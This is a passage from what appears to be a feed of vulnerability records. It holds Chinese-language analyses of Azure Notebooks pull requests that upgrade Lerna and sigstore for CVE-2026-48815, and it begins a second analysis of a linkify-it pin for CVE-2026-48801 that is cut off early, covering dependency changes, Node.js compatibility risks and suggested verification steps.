10.0.0\uff0c\u5e76\u968f\u5176\u4f9d\u8d56\u94fe\u628a sigstore \u4ece 2.3.1 \u5347\u7ea7\u5230 4.1.1\uff0c\u4ee5\u5904\u7406\u9ad8\u5371\u5b89\u5168\u544a\u8b66 CVE-2026-48815\uff1b\u4e3b\u8981\u5f71\u54cd\u5f00\u53d1\u3001\u4f9d\u8d56\u5b89\u88c5\u548c\u53d1\u5e03\u5de5\u5177\u94fe\uff0c\u800c\u4e0d\u662f\u4ea7\u54c1\u8fd0\u884c\u65f6\u4ee3\u7801\u3002\n\n| \u9879\u76ee | \u4fe1\u606f |\n|---|---|\n| PR | [Azure DevOps PR 767064](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064) |\n| \u4f5c\u8005 | Dependabot |\n| \u72b6\u6001 | Active\uff1b\u975e\u8349\u7a3f\uff1b\u5408\u5e76\u72b6\u6001\u4e3a succeeded |\n| \u6e90\u5206\u652f | `dependabot/npm_and_yarn/src%2Fclient/sigstore-4.1.1-749668` |\n| \u76ee\u6807\u5206\u652f | `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-06 14:18:34 |\n| \u63d0\u4ea4/\u8fed\u4ee3 | 1 \u4e2a\u63d0\u4ea4\uff0c1 \u6b21\u8fed\u4ee3 |\n| \u6587\u4ef6\u53d8\u66f4 | 2 \u4e2a\u6587\u4ef6\uff0c\u5747\u4e3a\u4fee\u6539 |\n| \u5dee\u5f02\u8986\u76d6 | \u6570\u636e\u5305\u4fdd\u5b58\u4e86 65,981 \u5b57\u8282\u5dee\u5f02\uff1b\u5b8c\u6574\u5dee\u5f02\u7ea6 250,787 \u5b57\u8282\uff0c\u7ea6\u8986\u76d6 26.3% |\n\n## \u76ee\u5f55\n\n1. [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n2. [\u529f\u80fd\u6a21\u5757\u4e00\uff1a\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7](#\u529f\u80fd\u6a21\u5757\u4e00\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7)\n3. [\u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0](#\u529f\u80fd\u6a21\u5757\u4e8c\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0)\n4. [\u529f\u80fd\u6a21\u5757\u4e09\uff1a\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97](#\u529f\u80fd\u6a21\u5757\u4e09\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97)\n5. [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n6. [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8)\n7. [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae)\n8. [\u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c](#\u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u672c\u6b21\u6539\u52a8\u7531 Component Governance \u7684\u9ad8\u5371\u5b89\u5168\u544a\u8b66\u89e6\u53d1\u3002PR \u63cf\u8ff0\u660e\u786e\u6307\u51fa\u9700\u8981\u540c\u65f6\u5347\u7ea7 sigstore \u548c\u5176\u4e0a\u6e38\u4f9d\u8d56 Lerna\uff1asigstore \u7531 2.3.1 \u5347\u81f3 4.1.1\uff0cLerna \u7531 8.2.4 \u5347\u81f3 10.0.0\u3002\n\n\u5b9e\u9645\u4fee\u6539\u4ec5\u6d89\u53ca\u4ee5\u4e0b\u4f9d\u8d56\u6e05\u5355\uff1a\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files)\uff1a\u628a\u76f4\u63a5\u5f00\u53d1\u4f9d\u8d56 `lerna` \u7684\u7248\u672c\u8303\u56f4\u4ece `^8.2.4` \u6539\u4e3a `^10.0.0`\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files)\uff1a\u91cd\u65b0\u89e3\u6790\u5e76\u56fa\u5b9a Lerna 10 \u53ca\u5176\u5b8c\u6574\u4f20\u9012\u4f9d\u8d56\u56fe\uff0c\u5176\u4e2d\u5305\u542b\u65b0\u7248 npm \u5de5\u5177\u94fe\u7ec4\u4ef6\u4e0e sigstore\u3002\n\n\u6ca1\u6709\u4e1a\u52a1\u6e90\u4ee3\u7801\u3001\u670d\u52a1\u7aef\u4ee3\u7801\u3001\u524d\u7aef\u7ec4\u4ef6\u6216\u6d4b\u8bd5\u6587\u4ef6\u53d8\u66f4\uff0c\u56e0\u6b64\u4fee\u590d\u673a\u5236\u662f\u201c\u66f4\u65b0\u6784\u5efa/\u5305\u7ba1\u7406\u5de5\u5177\u7684\u4f9d\u8d56\u95ed\u5305\u201d\uff0c\u800c\u4e0d\u662f\u4fee\u6539\u5e94\u7528\u81ea\u8eab\u7684\u7b7e\u540d\u9a8c\u8bc1\u903b\u8f91\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1a\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\nsigstore \u5728\u8be5\u9879\u76ee\u4e2d\u4e0d\u662f\u8fd9\u6b21\u76f4\u63a5\u7f16\u8f91\u7684\u9876\u5c42\u4f9d\u8d56\u3002PR \u901a\u8fc7\u5347\u7ea7\u5176\u7956\u5148\u4f9d\u8d56 Lerna\uff0c\u8ba9 npm \u91cd\u65b0\u9009\u62e9\u4e0d\u518d\u4f9d\u8d56\u65e7\u7248 sigstore \u7684\u5de5\u5177\u94fe\uff0c\u4ece\u4f9d\u8d56\u6811\u6839\u90e8\u6d88\u9664\u5b89\u5168\u544a\u8b66\u5bf9\u5e94\u7684\u65e7\u7248\u672c\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n[`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files) \u5c06 Lerna \u7684\u4e3b\u7248\u672c\u4ece 8 \u63d0\u5347\u5230 10\u3002\u540e\u7eed\u6267\u884c npm \u5b89\u88c5\u65f6\uff0c\u7248\u672c\u8303\u56f4\u4e0e\u9501\u6587\u4ef6\u5171\u540c\u786e\u4fdd\u4f7f\u7528 Lerna 10 \u7684\u5b9e\u73b0\uff0c\u800c\u4e0d\u662f\u7ee7\u7eed\u89e3\u6790\u5230 8.x\u3002\n\n\u8fd9\u5c5e\u4e8e\u5f00\u53d1\u4f9d\u8d56\u5347\u7ea7\uff0c\u9884\u671f\u5f71\u54cd monorepo \u547d\u4ee4\u3001\u5305\u53d1\u73b0\u3001\u4efb\u52a1\u6267\u884c\u3001\u7248\u672c\u7ba1\u7406\u6216\u53d1\u5e03\u6d41\u7a0b\u3002\u6570\u636e\u5305\u6ca1\u6709\u63d0\u4f9b\u9879\u76ee\u5b9e\u9645\u8c03\u7528 Lerna \u7684\u811a\u672c\u5185\u5bb9\uff0c\u56e0\u6b64\u65e0\u6cd5\u8fdb\u4e00\u6b65\u786e\u8ba4\u54ea\u4e9b Lerna \u5b50\u547d\u4ee4\u4f1a\u88ab\u6267\u884c\uff0c\u4e5f\u4e0d\u80fd\u65ad\u8a00\u73b0\u6709\u914d\u7f6e\u5df2\u5b8c\u5168\u517c\u5bb9 Lerna 10\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\nPR \u5173\u8054\u9ad8\u5371\u544a\u8b66 CVE-2026-48815\u3002PR \u5143\u6570\u636e\u8bf4\u660e sigstore \u4ece 2.3.1 \u5347\u81f3 4.1.1\uff0c\u5e76\u8981\u6c42\u4e0e Lerna \u4e00\u8d77\u66f4\u65b0\u3002sigstore \u7528\u4e8e\u8f6f\u4ef6\u5236\u54c1\u7b7e\u540d\u4e0e\u900f\u660e\u65e5\u5fd7\u9a8c\u8bc1\uff1b\u5347\u7ea7\u540e\u7684\u7248\u672c\u5305\u542b\u8bc1\u4e66 OID \u6269\u5c55\u9a8c\u8bc1\u3001Rekor \u6761\u76ee\u7684 inclusion promise \u8981\u6c42\u7b49\u9a8c\u8bc1\u5f3a\u5316\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u5728\u5df2\u6355\u83b7\u7684 [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files) \u7247\u6bb5\u4e2d\uff0c\u65b0\u7248 npm/pacote \u4f9d\u8d56\u94fe\u58f0\u660e\u4e86 `sigstore: ^4.0.0`\u3002PR \u63cf\u8ff0\u8fdb\u4e00\u6b65\u7ed9\u51fa\u6700\u7ec8\u89e3\u6790\u76ee\u6807\u4e3a 4.1.1\u3002\u8fd9\u6837\uff0cLerna \u6267\u884c\u6d89\u53ca\u5305\u83b7\u53d6\u3001\u5143\u6570\u636e\u5904\u7406\u6216\u5236\u54c1\u9a8c\u8bc1\u7684\u8def\u5f84\u65f6\uff0c\u4f1a\u4f7f\u7528\u65b0\u7248 sigstore \u4f9d\u8d56\u65cf\uff0c\u800c\u4e0d\u518d\u4f7f\u7528\u5b58\u5728\u544a\u8b66\u7684 2.3.1\u3002\n\nsigstore 4.0.0 \u7684\u53d1\u5e03\u8bf4\u660e\u8fd8\u660e\u786e\u79fb\u9664\u4e86 Node.js 18 \u652f\u6301\uff1b4.1.0 \u6539\u53d8\u4e86 `verify(...)` \u7684\u8fd4\u56de\u503c\uff0c\u4f7f\u5176\u8fd4\u56de\u5305\u542b\u516c\u94a5\u548c\u8eab\u4efd\u4fe1\u606f\u7684 `Signer` \u5bf9\u8c61\u3002\u7531\u4e8e\u672c PR \u6ca1\u6709\u4fee\u6539\u8c03\u7528 sigstore \u7684\u9879\u76ee\u4ee3\u7801\uff0c\u5f53\u524d\u6570\u636e\u5305\u53ea\u80fd\u786e\u8ba4\u5b83\u662f\u4f20\u9012\u4f9d\u8d56\u5347\u7ea7\uff0c\u4e0d\u80fd\u786e\u8ba4\u4ed3\u5e93\u662f\u5426\u53e6\u6709\u811a\u672c\u76f4\u63a5\u8c03\u7528 sigstore API\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e09\uff1a\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97\n\n### \u4e3a\u4ec0\u4e48\u53d8\u5316\u8f83\u5927\n\nLerna \u8de8\u8d8a\u4e24\u4e2a\u4e3b\u7248\u672c\u540e\uff0c\u5176\u5185\u90e8\u4f9d\u8d56\u7ec4\u5408\u53d1\u751f\u660e\u663e\u53d8\u5316\u3002\u9501\u6587\u4ef6\u4e0d\u4ec5\u66ff\u6362 Lerna \u672c\u8eab\uff0c\u8fd8\u9700\u8981\u540c\u6b65\u56fa\u5b9a\u65b0\u7248\u547d\u4ee4\u884c\u4ea4\u4e92\u3001changelog\u3001npm CLI\u3001GitHub API\u3001\u6587\u4ef6\u6253\u5305\u4e0e\u5b8c\u6574\u6027\u6821\u9a8c\u76f8\u5173\u7ec4\u4ef6\uff0c\u4fdd\u8bc1\u6240\u6709\u73af\u5883\u5b89\u88c5\u51fa\u540c\u4e00\u5957\u4f9d\u8d56\u56fe\u3002\n\n### \u5df2\u89c2\u5bdf\u5230\u7684\u5177\u4f53\u53d8\u5316\n\n\u5728\u672a\u622a\u65ad\u7684\u524d 65,536 \u5b57\u8282\u9501\u6587\u4ef6\u5dee\u5f02\u4e2d\uff0c\u53ef\u4ee5\u786e\u8ba4\uff1a\n\n- \u65b0\u589e\u591a\u9879 `@inquirer/*`\u3001`@conventional-changelog/*`\u3001`@npmcli/*` \u548c `@octokit/*` \u6761\u76ee\u3002\n- \u65b0\u7248 `pacote` \u4f9d\u8d56\u94fe\u5f15\u5165 `sigstore: ^4.0.0`\u3001`npm-package-arg` 13\u3001`npm-packlist` 10\u3001`npm-registry-fetch` 19\u3001`ssri` 13 \u7b49\u7ec4\u4ef6\u3002\n- \u65e7\u7684 `@lerna/create` 8.2.4 \u4e13\u5c5e\u5d4c\u5957\u4f9d\u8d56\u88ab\u79fb\u9664\u6216\u91cd\u65b0\u5e03\u5c40\u3002\n- \u53ef\u89c1\u7247\u6bb5\u4e2d `@emnapi/core`\u3001`@emnapi/runtime` \u548c `@emnapi/wasi-threads` \u5206\u522b\u4ece 1.8.1/1.8.1/1.1.0 \u8c03\u6574\u5230 1.4.5/1.4.5/1.0.4\u3002\u8be5\u53d8\u5316\u53ef\u80fd\u6765\u81ea\u65b0\u7248\u4f9d\u8d56\u56fe\u7684\u91cd\u65b0\u89e3\u6790\uff0c\u9700\u901a\u8fc7\u5b9e\u9645\u6784\u5efa\u786e\u8ba4\u4e0d\u4f1a\u5f71\u54cd\u4f7f\u7528\u8fd9\u4e9b WASI/\u539f\u751f\u9002\u914d\u7ec4\u4ef6\u7684\u5de5\u5177\u3002\n\n\u8fd9\u4e9b\u90fd\u662f\u9501\u6587\u4ef6\u5c42\u9762\u7684\u4f20\u9012\u4f9d\u8d56\u53d8\u5316\uff0c\u4e0d\u4ee3\u8868\u9879\u76ee\u4ee3\u7801\u5f00\u59cb\u76f4\u63a5\u4f7f\u7528\u4e0a\u8ff0\u5305\u3002\n\n## \u5f71\u54cd\u5206\u6790\n\n| \u5f71\u54cd\u9762 | \u7ed3\u8bba |\n|---|---|\n| \u5b89\u5168\u6027 | \u6b63\u5411\u5f71\u54cd\u3002\u76ee\u6807\u662f\u79fb\u9664\u88ab CG \u6807\u8bb0\u7684\u65e7\u7248 sigstore\uff0c\u5e76\u91c7\u7528\u5305\u542b\u66f4\u4e25\u683c\u8bc1\u4e66\u4e0e Rekor \u9a8c\u8bc1\u7684\u65b0\u7248\u672c\u3002 |\n| \u4ea7\u54c1\u8fd0\u884c\u65f6 | \u76f4\u63a5\u5f71\u54cd\u8f83\u4f4e\u3002\u53d8\u66f4\u4ec5\u6d89\u53ca `src/client` \u7684\u5f00\u53d1\u4f9d\u8d56\u6e05\u5355\uff0c\u6ca1\u6709\u4e1a\u52a1\u4ee3\u7801\u53d8\u66f4\u3002 |\n| CI/CD \u4e0e\u5f00\u53d1\u73af\u5883 | \u5f71\u54cd\u8f83\u9ad8\u3002Lerna \u4e3b\u7248\u672c\u5347\u7ea7\u53ca\u4f20\u9012\u4f9d\u8d56\u7684 Node.js \u5f15\u64ce\u8981\u6c42\u53ef\u80fd\u6539\u53d8\u5b89\u88c5\u3001\u6784\u5efa\u3001\u6d4b\u8bd5\u548c\u53d1\u5e03\u4efb\u52a1\u7684\u53ef\u8fd0\u884c\u73af\u5883\u3002 |\n| \u5305\u7ba1\u7406\u53ef\u91cd\u590d\u6027 | \u9501\u6587\u4ef6\u540c\u6b65\u66f4\u65b0\u540e\uff0c\u5e72\u51c0\u5b89\u88c5\u5e94\u89e3\u6790\u5230\u56fa\u5b9a\u7684\u65b0\u4f9d\u8d56\u56fe\uff1b\u4f46\u5fc5\u987b\u786e\u8ba4\u5185\u90e8 npm \u6e90\u53ef\u63d0\u4f9b\u6240\u6709\u65b0\u589e\u7248\u672c\u3002 |\n| \u53d1\u5e03\u6d41\u7a0b | \u5b58\u5728\u884c\u4e3a\u53d8\u5316\u53ef\u80fd\u3002Lerna 8 \u5230 10 \u7684 CLI\u3001\u9ed8\u8ba4\u884c\u4e3a\u6216\u914d\u7f6e\u517c\u5bb9\u6027\u9700\u8981\u7531\u4ed3\u5e93\u73b0\u6709\u53d1\u5e03\u547d\u4ee4\u9a8c\u8bc1\u3002 |\n| \u4ee3\u7801\u63a5\u53e3 | \u6ca1\u6709\u9879\u76ee\u63a5\u53e3\u6216\u4ea7\u54c1 API \u7684\u76f4\u63a5\u4fee\u6539\uff1bsigstore API \u7684\u4e3b\u7248\u672c\u53d8\u5316\u4ec5\u5728\u4ed3\u5e93\u5b58\u5728\u76f4\u63a5\u8c03\u7528\u65f6\u624d\u4f1a\u6210\u4e3a\u4ee3\u7801\u517c\u5bb9\u95ee\u9898\u3002 |\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8\n\n1. **Node.js \u7248\u672c\u662f\u6700\u5177\u4f53\u7684\u963b\u65ad\u98ce\u9669\u3002** PR \u63cf\u8ff0\u660e\u786e\u6307\u51fa sigstore 4 \u4e0d\u518d\u652f\u6301 Node.js 18\uff1b\u53ef\u89c1\u9501\u6587\u4ef6\u4e2d\u8fd8\u6709\u65b0\u589e\u4f9d\u8d56\u8981\u6c42 Node.js `>=22`\uff0c\u6216\u8981\u6c42 `^20.17.0 || >=22.9.0`\u3002\u5982\u679c\u5f00\u53d1\u673a\u6216\u6784\u5efa\u4ee3\u7406\u4ecd\u4f7f\u7528 Node 18\u3001\u8f83\u65e9\u7684 Node 20\uff0c\u6216\u542f\u7528\u4e86 npm `engine-strict`\uff0c\u5b89\u88c5\u53ef\u80fd\u76f4\u63a5\u5931\u8d25\uff1b\u5373\u4f7f\u53ea\u4ea7\u751f\u8b66\u544a\uff0c\u4e5f\u53ef\u80fd\u5728\u6267\u884c\u76f8\u5173 CLI \u8def\u5f84\u65f6\u51fa\u73b0\u8fd0\u884c\u65f6\u9519\u8bef\u3002\n2. **Lerna \u8de8\u4e3b\u7248\u672c\u517c\u5bb9\u98ce\u9669\u3002** \u4ece 8.2.4 \u5230 10.0.0 \u53ef\u80fd\u6d89\u53ca\u547d\u4ee4\u53c2\u6570\u3001\u914d\u7f6e\u5b57\u6bb5\u3001Nx \u96c6\u6210\u3001\u5305\u53d1\u5e03\u6216\u7248\u672c\u8ba1\u7b97\u884c\u4e3a\u53d8\u5316\u3002\u6570\u636e\u5305\u672a\u5305\u542b Lerna \u914d\u7f6e\u548c npm scripts\uff0c\u65e0\u6cd5\u786e\u8ba4\u73b0\u6709\u547d\u4ee4\u662f\u5426\u65e0\u9700\u8c03\u6574\u3002\n3. **\u4f20\u9012\u4f9d\u8d56\u56fe\u53d8\u5316\u8303\u56f4\u5927\u3002** \u9501\u6587\u4ef6\u5b8c\u6574\u5dee\u5f02\u7ea6 250 KB\uff0c\u53ef\u89c1\u90e8\u5206\u5df2\u6d89\u53ca npm CLI\u3001Octokit\u3001Inquirer\u3001changelog\u3001WASI \u7b49\u591a\u4e2a\u4f9d\u8d56\u65cf\u3002\u9700\u8981\u9632\u6b62\u4f9d\u8d56\u89e3\u6790\u53d8\u5316\u9020\u6210\u811a\u672c\u8f93\u51fa\u3001\u4ea4\u4e92\u884c\u4e3a\u3001Git \u64cd\u4f5c\u6216\u6ce8\u518c\u8868\u8bbf\u95ee\u65b9\u5f0f\u53d8\u5316\u3002\n4. **\u5185\u90e8\u6e90\u53ef\u7528\u6027\u98ce\u9669\u3002** \u65b0\u5305\u5747\u9700\u4ece Azure Notebooks \u7684\u5185\u90e8 npm registry \u83b7\u53d6\u3002\u82e5\u955c\u50cf\u5c1a\u672a\u540c\u6b65\u67d0\u4e2a\u65b0\u7248\u672c\uff0c\u5e72\u51c0\u5b89\u88c5\u4f1a\u5931\u8d25\u3002\n5. **sigstore \u884c\u4e3a\u66f4\u4e25\u683c\u3002** \u65b0\u7248\u672c\u5f3a\u5316\u8bc1\u4e66\u6269\u5c55\u548c Rekor \u65f6\u95f4\u6233\u6765\u6e90\u9a8c\u8bc1\uff1b\u5982\u679c\u5de5\u5177\u94fe\u5904\u7406\u7684\u5386\u53f2\u7b7e\u540d\u6750\u6599\u4e0d\u6ee1\u8db3\u65b0\u89c4\u5219\uff0c\u539f\u5148\u901a\u8fc7\u7684\u9a8c\u8bc1\u53ef\u80fd\u5931\u8d25\u3002\u8fd9\u901a\u5e38\u662f\u5b89\u5168\u9884\u671f\u53d8\u5316\uff0c\u4f46\u53ef\u80fd\u66b4\u9732\u65e7\u5236\u54c1\u6216\u6d4b\u8bd5\u5939\u5177\u7684\u4e0d\u517c\u5bb9\u3002\n6. **\u53ef\u89c1\u7684 `@emnapi/*` \u7248\u672c\u56de\u9000\u9700\u8981\u5173\u6ce8\u3002** \u6570\u636e\u5305\u7247\u6bb5\u663e\u793a\u82e5\u5e72\u7248\u672c\u53f7\u964d\u4f4e\uff0c\u4e0d\u80fd\u4ec5\u51ed\u7248\u672c\u53f7\u5224\u65ad\u529f\u80fd\u9000\u5316\uff0c\u4f46\u5e94\u901a\u8fc7\u6784\u5efa\u548c\u76f8\u5173\u5de5\u5177\u6267\u884c\u786e\u8ba4\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\u53ef\u7528\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae\n\n\u6570\u636e\u5305\u672a\u5305\u542b\u81ea\u52a8\u5316\u6d4b\u8bd5\u7ed3\u679c\u3001\u6784\u5efa\u7ed3\u679c\u6216\u65b0\u589e\u6d4b\u8bd5\u6587\u4ef6\uff0c\u56e0\u6b64\u4e0d\u80fd\u58f0\u79f0\u6b64 PR \u5df2\u901a\u8fc7\u6d4b\u8bd5\u3002\u5408\u5e76\u72b6\u6001 `succeeded` \u53ea\u8bf4\u660e Azure DevOps \u62a5\u544a\u7684\u5408\u5e76\u8ba1\u7b97\u6210\u529f\uff0c\u4e0d\u7b49\u540c\u4e8e CI \u9a8c\u8bc1\u901a\u8fc7\u3002\n\n\u5efa\u8bae\u81f3\u5c11\u6267\u884c\uff1a\n\n1. \u5728\u4ed3\u5e93\u89c4\u5b9a\u7684 Node.js \u7248\u672c\u4e0a\u5bf9 `src/client` \u505a\u4e00\u6b21\u5e72\u51c0\u7684\u9501\u6587\u4ef6\u5b89\u88c5\uff0c\u786e\u8ba4\u6ca1\u6709 engine\u3001peer dependency \u6216\u5185\u90e8 registry \u83b7\u53d6\u9519\u8bef\u3002\n2. \u8fd0\u884c\u73b0\u6709\u5ba2\u6237\u7aef lint\u3001\u5355\u5143\u6d4b\u8bd5\u3001\u7c7b\u578b\u68c0\u67e5\u548c\u6784\u5efa\u547d\u4ee4\uff0c\u8986\u76d6\u65b0\u7248\u4f20\u9012\u4f9d\u8d56\u52a0\u8f7d\u8def\u5f84\u3002\n3. \u8fd0\u884c\u4ed3\u5e93\u73b0\u6709\u7684 Lerna/Nx \u5de5\u4f5c\u533a\u547d\u4ee4\uff0c\u7279\u522b\u662f\u5305\u53d1\u73b0\u3001\u6279\u91cf\u4efb\u52a1\u3001\u7248\u672c\u8ba1\u7b97\u548c\u53d1\u5e03\u76f8\u5173\u547d\u4ee4\u3002\n4. \u5206\u522b\u6838\u5bf9 CI \u6784\u5efa\u4ee3\u7406\u4e0e\u53d1\u5e03\u4ee3\u7406\u7684 Node.js \u7248\u672c\uff1b\u82e5\u4f4e\u4e8e 20.17\uff0c\u4f18\u5148\u5347\u7ea7\u8fd0\u884c\u65f6\u3002\u7531\u4e8e\u53ef\u89c1\u4f9d\u8d56\u4e2d\u5b58\u5728 `node >=22` \u6761\u76ee\uff0c\u8fd8\u5e94\u786e\u8ba4\u5b9e\u9645\u6267\u884c\u8def\u5f84\u662f\u5426\u8981\u6c42 Node 22\u3002\n5. \u4f7f\u7528\u9501\u6587\u4ef6\u6267\u884c\u5b89\u5168\u626b\u63cf\uff0c\u786e\u8ba4 CVE-2026-48815/CG Alert 14934913 \u5df2\u5173\u95ed\uff0c\u4e14\u6ca1\u6709\u56e0\u5927\u8303\u56f4\u4f20\u9012\u4f9d\u8d56\u66f4\u65b0\u5f15\u5165\u65b0\u7684\u9ad8\u5371\u544a\u8b66\u3002\n\n## \u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files) \u7684 445 \u5b57\u8282\u5dee\u5f02\u5b8c\u6574\u53ef\u89c1\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files) \u7684\u539f\u59cb\u5dee\u5f02\u4e3a 250,342 \u5b57\u8282\uff0c\u6570\u636e\u5305\u4ec5\u4fdd\u7559\u524d 65,536 \u5b57\u8282\uff0c\u7ea6\u8986\u76d6 26.2%\u3002\n- \u6574\u4e2a PR \u5dee\u5f02\u6309\u5b57\u8282\u4f30\u7b97\u7ea6\u8986\u76d6 26.3%\u3002\u9501\u6587\u4ef6\u540e\u7ea6 73.8% \u7684\u5dee\u5f02\u672a\u5305\u542b\u5728\u6570\u636e\u5305\u4e2d\uff0c\u56e0\u6b64\u65e0\u6cd5\u9010\u9879\u786e\u8ba4 sigstore 4.1.1 \u7684\u6700\u7ec8\u9501\u5b9a\u6761\u76ee\u3001\u6240\u6709\u65b0\u589e/\u5220\u9664\u5305\u3001\u5b8c\u6574\u7248\u672c\u53d8\u5316\u3001integrity \u503c\u6216\u6587\u4ef6\u5c3e\u90e8\u7ed3\u6784\u3002\n- PR \u63cf\u8ff0\u4e2d\u7684\u53d1\u5e03\u8bf4\u660e\u6587\u672c\u4e5f\u4ee5\u7701\u7565\u5f62\u5f0f\u7ed3\u675f\uff0c\u56e0\u6b64\u672c\u6587\u53ea\u4f7f\u7528\u6570\u636e\u5305\u4e2d\u5b9e\u9645\u53ef\u89c1\u7684\u53d1\u5e03\u8bf4\u660e\u8981\u70b9\uff0c\u6ca1\u6709\u63a8\u65ad\u88ab\u7701\u7565\u7684\u7248\u672c\u8bb0\u5f55\u3002\n- \u6570\u636e\u5305\u6ca1\u6709\u62a5\u9519\u6216\u8b66\u544a\u8bb0\u5f55\uff0c\u4f46\u8fd9\u4e0d\u4ee3\u8868\u5b8c\u6574\u5dee\u5f02\u6216 CI \u7ed3\u679c\u5df2\u88ab\u9a8c\u8bc1\u3002\n", "creation_timestamp": "2026-08-31T00:12:39.196331Z"}, {"uuid": "a0a844f9-8d68-4a4c-a305-876daf0085fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48801", "type": "seen", "source": "https://gist.github.com/djlan/2c5a8672d9bb49cea4c4c961e62e82d2", "content": "# [SECURITY][SFI] \u4fee\u590d linkify-it \u6f0f\u6d1e\uff08CVE-2026-48801\uff09\n\n> **\u4e00\u53e5\u8bdd\u6458\u8981\uff1a** \u6b64 PR \u901a\u8fc7 npm `overrides` \u5c06\u4f20\u9012\u4f9d\u8d56 `linkify-it` \u7cbe\u786e\u56fa\u5b9a\u5230 `5.0.1`\uff0c\u4ee5\u66ff\u6362\u5b58\u5728 CVE-2026-48801 \u7684 `3.0.3`\uff1b\u4f46\u91cd\u65b0\u751f\u6210\u7684\u9501\u6587\u4ef6\u540c\u65f6\u51fa\u73b0\u5927\u91cf\u5176\u4ed6\u4f9d\u8d56\u5347\u7ea7\u548c Node.js \u7248\u672c\u8981\u6c42\u53d8\u5316\uff0c\u9700\u8981\u91cd\u70b9\u9a8c\u8bc1\u8fd9\u4e9b\u989d\u5916\u53d8\u66f4\u3002\n\n| \u9879\u76ee | \u5185\u5bb9 |\n|---|---|\n| PR | [AzureNotebooks PR 766462](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462) |\n| \u4f5c\u8005 | Agency |\n| \u72b6\u6001 | Active\uff0c\u975e\u8349\u7a3f\uff1b\u5408\u5e76\u72b6\u6001\u4e3a Succeeded |\n| \u5206\u652f | `copilot/api-690bd71d-77212d41` \u2192 `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-05 09:50:57 |\n| \u63d0\u4ea4 | 1 |\n| \u8fed\u4ee3 | 2 |\n| \u53d8\u66f4\u6587\u4ef6 | 2 \u4e2a\uff0c\u5747\u4e3a\u4fee\u6539 |\n| \u5dee\u5f02\u89c4\u6a21 | \u5206\u6790\u5305\u4fdd\u5b58 65,931 \u5b57\u8282\uff1b\u5176\u4e2d\u9501\u6587\u4ef6\u539f\u59cb\u5dee\u5f02\u7ea6 569,982 \u5b57\u8282\uff0c\u4ec5\u4fdd\u7559\u524d 65,536 \u5b57\u8282\u5e76\u660e\u786e\u6807\u8bb0\u4e3a\u622a\u65ad |\n| \u884c\u7ea7\u7edf\u8ba1 | \u5206\u6790\u5305\u672a\u63d0\u4f9b\u5b8c\u6574\u65b0\u589e/\u5220\u9664\u884c\u6570\uff0c\u4e0d\u80fd\u636e\u6b64\u7ed9\u51fa\u53ef\u9760\u7684\u5168\u91cf\u884c\u6570\u7edf\u8ba1 |\n\n## \u76ee\u5f55\n\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u529f\u80fd\u6a21\u5757\u4e00\uff1a\u5b89\u5168\u4f9d\u8d56\u89e3\u6790\u7b56\u7565](#\u529f\u80fd\u6a21\u5757\u4e00\u5b89\u5168\u4f9d\u8d56\u89e3\u6790\u7b56\u7565)\n- 